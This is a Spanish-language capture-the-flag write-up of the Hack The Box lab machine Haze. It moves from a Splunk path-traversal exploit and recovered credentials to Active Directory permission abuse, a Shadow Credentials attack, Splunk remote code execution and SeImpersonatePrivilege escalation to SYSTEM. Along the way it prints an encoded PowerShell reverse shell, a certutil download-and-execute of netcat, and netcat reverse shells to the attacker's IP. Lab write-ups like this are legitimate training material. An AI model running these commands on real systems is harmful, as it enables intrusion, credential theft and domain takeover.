En Haze se realizo la explotacion de Path Traversal en Splunk Enterprise donde se realizo la lectura de archivos para obtener un par de credenciales. Con estas, se realizo la enumeracion de usuarios y posteriormente la explotacion de distintos permisos en Active Directory y, acceso addicional. Un backup de Splunk permitio el acceso al dashboard y a traves de la instalacion de scripts acceso a un nuevo usuario dentro de la maquina. Finalmente escalamos privilegios mediante SeImpersonatePrivilege.
# Nmap 7.95 scan initiated Wed Apr 2 02:37:55 2025 as: /usr/lib/nmap/nmap --privileged -p53,88,135,139,389,445,464,593,636,3268,3269,5985,8000,8088,8089,9389,47001,49664,49665,49666,49667,49668,51573,54762,54764,54768,54783,54794,54814,54968 -sV -sC -oN nmap_scan 10.10.11.61Nmap scan report for 10.10.11.61
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)| fingerprint-strings:
| DNS-SD-TCP:
| _services
| _dns-sd
| _udp
|_ local88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-02 07:51:22Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8000/tcp open http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Site doesn't have a title (text/html;charset=UTF-8).
|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
|_http-server-header: Splunkd
8088/tcp open ssl/http Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: 404 Not Found
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-server-header: Splunkd
|_http-title: splunkd
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
51573/tcp open msrpc Microsoft Windows RPC
54762/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
54764/tcp open msrpc Microsoft Windows RPC
54768/tcp open msrpc Microsoft Windows RPC
54783/tcp open msrpc Microsoft Windows RPC
54794/tcp open msrpc Microsoft Windows RPC
54814/tcp open msrpc Microsoft Windows RPC
54968/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=4/2%Time=67ECDB5A%P=x86_64-pc-linux-gnu%r(DNS-S
SF:D-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_
SF:udp\x05local\0\0\x0c\0\x01");Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1h13m24s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-02T07:52:29
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 2 02:39:20 2025 -- 1 IP address (1 host up) scanned in 84.09 seconds
SMB & RPC
Tanto el servicio samba como RPC no muestran informacion con sesiones nulas.
1
2
3
4
5
6
7
8
9
10
11
❯ netexec smb 10.10.11.61 -u "" -p "" --shares
SMB 10.10.11.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01)(domain:haze.htb)(signing:True)(SMBv1:False)SMB 10.10.11.61 445 DC01 [+] haze.htb\:SMB 10.10.11.61 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
❯ rpcclient -N -U "" 10.10.11.61
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
rpcclient $> exit❯
Splunk
Los headers del sitio en el puerto 8000 muestran Splunk como servidor.
Tras visitar el sitio observamos un login para Splunk Enterprise.
El puerto 8089 pertenece a los componentes de Splunk en este observamos la version 9.2.1.
Path Traversal - Splunk
Una vulnerabilidad Path Traversal afecta a versiones =< 9.2.2, 9.1.5 y 9.0.10 (Critical Splunk Vulnerability CVE-2024-36991). La version 9.2.1 es afectada, realizamos la solicitud de la explotacion al archivo /etc/passwd y observamos en la respuesta el contenido, este muestra cuatro usuarios con su respectivo hash de contrasena.
Splunk contiene multiples archivos de configuracion entre ellos authentication.conf. Al realizar la solicitud de este archivo encontramos la autenticacion por LDAP, se muestra un nombre en bindDN y el valor de bindDNpassword que parece ser una contrasena.
Una respuesta en el foro de splunk indica que el valor de bindDNpassword es posible ‘revertirlo’ conociendo el valor del archivo splunk.secret este ultimo lo encontramos en /etc/auth/splunk.secret.
Para obtener el valor de la contrasena utilizamos la herramienta splunksecrets.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# https://github.com/HurricaneLabs/splunksecrets❯ splunksecrets --help
Usage: splunksecrets [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
dbconnect-decrypt Decrypt password used for dbconnect identity
dbconnect-encrypt Encrypt password used for dbconnect identity
phantom-decrypt Decrypt password used for Phantom asset
phantom-encrypt Encrypt password used for Phantom asset
splunk-decrypt Decrypt password using Splunk 7.2 algorithm
splunk-encrypt Encrypt password using Splunk 7.2 algorithm
splunk-hash-passwd Generate password hashfor use in...
splunk-legacy-decrypt Decrypt password using legacy Splunk algorithm...
splunk-legacy-encrypt Encrypt password using legacy Splunk algorithm...
❯
Ejecutamos la herramienta especificando el archivo secrets y el ‘cifrado’, observamos la contrasena texto plano.
1
2
3
4
5
6
7
8
9
10
11
12
❯ splunksecrets splunk-decrypt --help
Usage: splunksecrets splunk-decrypt [OPTIONS] Decrypt password using Splunk 7.2 algorithm
Options:
-S, --splunk-secret TEXT [required] --ciphertext TEXT
--help Show this message and exit.
❯ splunksecrets splunk-decrypt -S splunk.secrets --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='Ld@p_Auth_Sp1unk@2k24
❯
User - paul.taylor
Ningun usuario conocido es compatible con la contrasena en Splunk o en algun servicio de la maquina. Con los usuarios conocidos y los DN encontrados generamos un wordlist de usuarios con el script usernames.py.
❯ python bloodhound.py -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -dc dc01.haze.htb -ns 10.10.11.61 -c all --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 3 users
INFO: Found 32 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 18 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 41S
INFO: Compressing output into 20250402113722_bloodhound.zip
❯
Ejecutamos bloodhound-ce y cargamos el archivo zip. Por alguna razon la informacion esta “incompleta” en algunos casos unicamente se muestra el SID del grupo/usuario como se observa al usuario Paul cuyo SID del grupo al que pertenece es de Domain Users.
Este “problema” fue constante durante la resolucion de la maquina por lo que se ejecuto bloodhound por cada usuario al que se accedio. Es posible que cada usuario tenga restricciones o limitaciones sobre otros usuarios/grupos.
Haze-it-backup
Entre los usuarios que encontro bloodhound se muestra haze-it-backup.
1
2
3
4
5
❯ jq -r '.data[].Properties.name' 20250402113722_users.json
NT AUTHORITY@HAZE.HTB
HAZE-IT-BACKUP$@HAZE.HTB
PAUL.TAYLOR@HAZE.HTB
❯
No se muestra algun grupo interesante para este usuario.
User - mark.adams
Users
Tras ejecutar netexec para enumerar usuarios se muestra unicamente un usuario.
❯ python bloodhound.py -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -dc dc01.haze.htb -ns 10.10.11.61 -c all --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 39S
INFO: Compressing output into 20250402123700_bloodhound.zip
❯
Se muestra que mark.adams pertenece al grupo GMSA_MANAGERS.
Ejecutamos un query en bloodhound que muestra quienes pueden realizar la lectura de contrasenas gMSA, se muestra que los grupos Administrators y Domain Admins pueden realizar la lectura de Haze-It-Backup$. No se observa al grupo GMSA_MANAGERS.
❯ python bloodhound.py -u haze-it-backup$ --hashes :a70df6599d5eab1502b38f9c1c3fd828 -d haze.htb -dc dc01.haze.htb -ns 10.10.11.61 -c all --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 40S
INFO: Compressing output into 20250402133856_bloodhound.zip
❯
Haze-It-Backup tiene permisos WriteOwner sobre el grupo SUPPORT_SERVICES.
SUPPORT_SERVICES tiene permisos ForceChangePassword y AddKeyCredentialLink sobre el usuario Edward Martin.
Con esto encontramos como llegar desde Haze-It-Backup hasta Edward Martin.
User - Edward.Martin
WriteOwner on Group
Generamos un ticket para haze-it-backup especificando su hash, luego ejecutamos impacket-owneredit para cambiar el ownership de SUPPORT_SERVICES a haze-it-backup$.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ impacket-getTGT haze.htb/haze-it-backup -hashes :a70df6599d5eab1502b38f9c1c3fd828
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in haze-it-backup$.ccache
❯
❯ exportKRB5CCNAME=haze-it-backup$.ccache; impacket-owneredit -action write -new-owner 'haze-it-backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB''haze.htb/haze-it-backup$' -k -no-pass -dc-ip 10.10.11.61 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-323145914-28650650-2368316563-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=haze,DC=htb
[*] OwnerSid modified successfully!
❯
Ejecutamos impacket-dacledit para darle ‘Full Control’ a haze-it-backup$ sobre SUPPORT_SERVICES.
1
2
3
4
5
6
❯ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'haze-it-backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB''haze.htb/haze-it-backup$' -k -no-pass -dc-ip 10.10.11.61 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250402-135928.bak
[*] DACL modified successfully!
❯
Con bloodyAD.py se agrego al usuario haze-it-backup$ al grupo SUPPORT_SERVICES.
Se ejecuto PyWhisker para realizar Shadow Credentials attack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ KRB5CCNAME=~/htb/haze/haze-it-backup$.ccache python pywhisker/pywhisker.py -d "haze.htb" -u "haze-it-backup$" -H :a70df6599d5eab1502b38f9c1c3fd828 --target "edward.martin" --action "add"[*] Searching for the target account
[*] Target user found: CN=Edward Martin,CN=Users,DC=haze,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: a907891c-4d46-6da9-a574-17fb026be17d
[*] Updating the msDS-KeyCredentialLink attribute of edward.martin
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: V8RHny77.pfx
[+] PFX exportiert nach: V8RHny77.pfx
[i] Passwort für PFX: 5zdcbIoP8UGpALBXEuLt
[+] Saved PFX (#PKCS12) certificate & key at path: V8RHny77.pfx[*] Must be used with password: 5zdcbIoP8UGpALBXEuLt
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
❯
Se sugiere PKINITtools para obtener TGT pero certipy-ad lo simplifica y obtenemos el hash de edward.martin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ certipy-ad cert -export -pfx "V8RHny77.pfx" -password "5zdcbIoP8UGpALBXEuLt" -out unprotected_pfx.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Writing PFX to 'unprotected_pfx.pfx'❯
❯ certipy-ad auth -pfx unprotected_pfx.pfx -username "edward.martin" -domain "haze.htb"Certipy v4.8.2 - by Oliver Lyak (ly4k)[!] Could not find identification in the provided certificate
[*] Using principal: edward.martin@haze.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'edward.martin.ccache'[*] Trying to retrieve NT hashfor'edward.martin'[*] Got hashfor'edward.martin@haze.htb': aad3b435b51404eeaad3b435b51404ee:09e0b3eeb2e7a6b0d419e9ff8f4d91af
❯
Obtuvimos una shell con evil-winrm y el acceso a la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ evil-winrm -i haze.htb -u 'edward.martin' -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc'for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\edward.martin\Documents> whoami
haze\edward.martin
*Evil-WinRM* PS C:\Users\edward.martin\Documents> type ../Desktop/user.txt
543ad4c4afe331f2e1e328338e7b55d5
*Evil-WinRM* PS C:\Users\edward.martin\Documents>
User - alexander.green
Nuevamente se realizo la ejecucion de bloodhound con el usuario edward.martin, se observa que pertenece al grupo BACKUP_REVIEWERS el cual no tiene ningun tipo de permiso sobre usuario o grupo.
Splunk Backup
Encontramos el directorio Backups\ al cual pueden acceder Administrators y el grupo Backup_Reviewers.
Ejecutamos PySplunkWhisperer2_remote con las credenciales de admin, especificando el lhost y el payload el cual se define como un ping a nuestra maquina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ python test.py --host 10.10.11.61 --username admin --password 'Sp1unkadmin@2k24' --payload 'ping 10.10.14.105' --lhost 10.10.14.105
Running in remote mode (Remote Code Execution)[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmp4exf966f.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.105:8181/
10.10.11.61 - - [03/Apr/2025 06:39:49]"GET / HTTP/1.1"200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!
❯
Tras la ejecucion observamos la ejecucion exitosa del ping en tcpdump.
1
2
3
4
5
6
7
8
9
10
11
12
❯ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
06:37:36.209153 IP haze.htb > 10.10.14.105: ICMP echo request, id 1, seq 1488, length 4006:37:36.209220 IP 10.10.14.105 > haze.htb: ICMP echo reply, id 1, seq 1488, length 4006:37:37.174422 IP haze.htb > 10.10.14.105: ICMP echo request, id 1, seq 1489, length 4006:37:37.174443 IP 10.10.14.105 > haze.htb: ICMP echo reply, id 1, seq 1489, length 4006:37:38.084975 IP haze.htb > 10.10.14.105: ICMP echo request, id 1, seq 1490, length 4006:37:38.084998 IP 10.10.14.105 > haze.htb: ICMP echo reply, id 1, seq 1490, length 4006:37:38.998751 IP haze.htb > 10.10.14.105: ICMP echo request, id 1, seq 1491, length 4006:37:38.998773 IP 10.10.14.105 > haze.htb: ICMP echo reply, id 1, seq 1491, length 40
Shell
Ejecutamos una shell inversa de powershell generada por revshells.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ python PySplunkWhisperer2_remote.py --host 10.10.11.61 --username admin --password 'Sp1unkadmin@2k24' --payload 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwADUAIgAsADEAMwAzADgAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' --lhost 10.10.14.105
Running in remote mode (Remote Code Execution)[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpslj2a4as.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.105:8181/
10.10.11.61 - - [03/Apr/2025 06:37:58]"GET / HTTP/1.1"200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!
❯
Logramos el acceso como alexander.green.
1
2
3
4
5
6
❯ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.105] from haze.htb [10.10.11.61]53613PS C:\Windows\system32> whoami
haze\alexander.green
PS C:\Windows\system32>
Privesc
Al enumerar los privilegios de alexander observamos que SeImpersonatePrivilege esta habilitado.
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State==============================================================================SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\>
Existen multiples herramientas que permiten la explotacion de este privilegio.
GodPotato
Utilizamos GodPotato para ejecutar una shell inversa utilizando el binario estatico netcat.
❯ rlwrap nc -lvp 1339listening on [any]1339 ...
connect to [10.10.14.105] from haze.htb [10.10.11.61]55648Microsoft Windows [Version 10.0.20348.3328](c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
C:\Windows\system32>cd C:/Users/Administrator/Desktop
cd C:/Users/Administrator/Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3985-943C
Directory of C:\Users\Administrator\Desktop
03/05/2025 06:46 PM <DIR> .
03/05/2025 12:29 AM <DIR> ..
04/02/2025 07:02 PM 34 root.txt
1 File(s)34 bytes
2 Dir(s) 3,377,016,832 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
e1ee98fc6b5b51fc7aaa6c2b0f07317a
C:\Users\Administrator\Desktop>
La shell que obtuvimos no muestra el usuario ni privilegios.
# python PySplunkWhisperer2_remote.py --host 10.10.11.61 --username admin --password 'Sp1unkadmin@2k24' --payload 'certutil.exe -urlcache -split -f http://10.10.14.105/nc.exe C:\Users\alexander.green\Documents\nc.exe && C:\Users\alexander.green\Documents\nc.exe -e cmd.exe 10.10.14.105 1336' --lhost 10.10.14.105C:\Users\alexander.green\Documents>gd.exe -cmd "cmd /c whoami > C:\Users\alexander.green\Documents\a.txt"gd.exe -cmd "cmd /c whoami > C:\Users\alexander.green\Documents\a.txt"[*] CombaseModule: 0x140734260314112
[*] DispatchTable: 0x140734262905160
[..] snip [..][*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2916C:\Users\alexander.green\Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3985-943C
Directory of C:\Users\alexander.green\Documents
04/09/2025 09:45 AM <DIR> .
03/05/2025 12:46 AM <DIR> ..
04/09/2025 09:44 AM 0 a.txt
04/09/2025 09:29 AM 57,344 gd.exe
04/09/2025 09:34 AM 59,392 nc.exe
3 File(s) 116,736 bytes
2 Dir(s) 4,215,869,440 bytes free
C:\Users\alexander.green\Documents>type a.txt
type a.txt
C:\Users\alexander.green\Documents>icacls a.txt
icacls a.txt
a.txt NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) HAZE\alexander.green:(I)(F)Successfully processed 1 files; Failed processing 0 files
C:\Users\alexander.green\Documents>
SharpEfsPotato - Privileged
Intentamos con SharpEfsPotato, lo transferimos a la maquina.
1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\alexander.green\Documents> (New-Object Net.WebClient).DownloadFile("http://10.10.14.105/SharpEfsPotato.exe","C:\Users\alexander.green\Documents\SharpEfsPotato.exe")PS C:\Users\alexander.green\Documents> .\SharpEfsPotato.exe -h
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
-p, --prog=VALUE Program to launch (default cmd.exe) -a, --args=VALUE Arguments for program (default null) -h, --help Display this helpPS C:\Users\alexander.green\Documents>
Ejecutamos un whoami, esta vez observamos que lo ejecuta system.
PS C:\Users\alexander.green\Documents> .\SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\Users\alexander.green\Documents\w.log"SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[+] Triggering name pipe access on evil PIPE \\localhost/pipe/176f0f62-b5c3-4a7a-954f-e431c7cfb4d6/\176f0f62-b5c3-4a7a-954f-e431c7cfb4d6\176f0f62-b5c3-4a7a-954f-e431c7cfb4d6
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
PS C:\Users\alexander.green\Documents> dir
Directory: C:\Users\alexander.green\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/9/2025 9:29 AM 57344 gd.exe
-a---- 4/9/2025 9:34 AM 59392 nc.exe
-a---- 4/9/2025 9:49 AM 70656 SharpEfsPotato.exe
-a---- 4/9/2025 9:50 AM 21 w.log
PS C:\Users\alexander.green\Documents> type w.log
nt authority\system
PS C:\Users\alexander.green\Documents>
Shell
Ejecutamos una shell inversa utilizando netcat existente en la maquina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\Users\alexander.green\Documents> .\SharpEfsPotato.exe -p C:\Users\alexander.green\Documents\nc.exe -a "-e powershell.exe 10.10.14.105 1337"SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
[+] Triggering name pipe access on evil PIPE \\localhost/pipe/3d1e638d-04c8-4542-b035-b7c7355fdf7a/\3d1e638d-04c8-4542-b035-b7c7355fdf7a\3d1e638d-04c8-4542-b035-b7c7355fdf7a
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
PS C:\Users\alexander.green\Documents>
Observamos que nuestra shell ahora si tiene todos los privilegios.
❯ rlwrap nc -lvp 1337listening on [any]1337 ...
connect to [10.10.14.105] from haze.htb [10.10.11.61]58571Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State==================================================================================================================SeCreateTokenPrivilege Create a token object Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
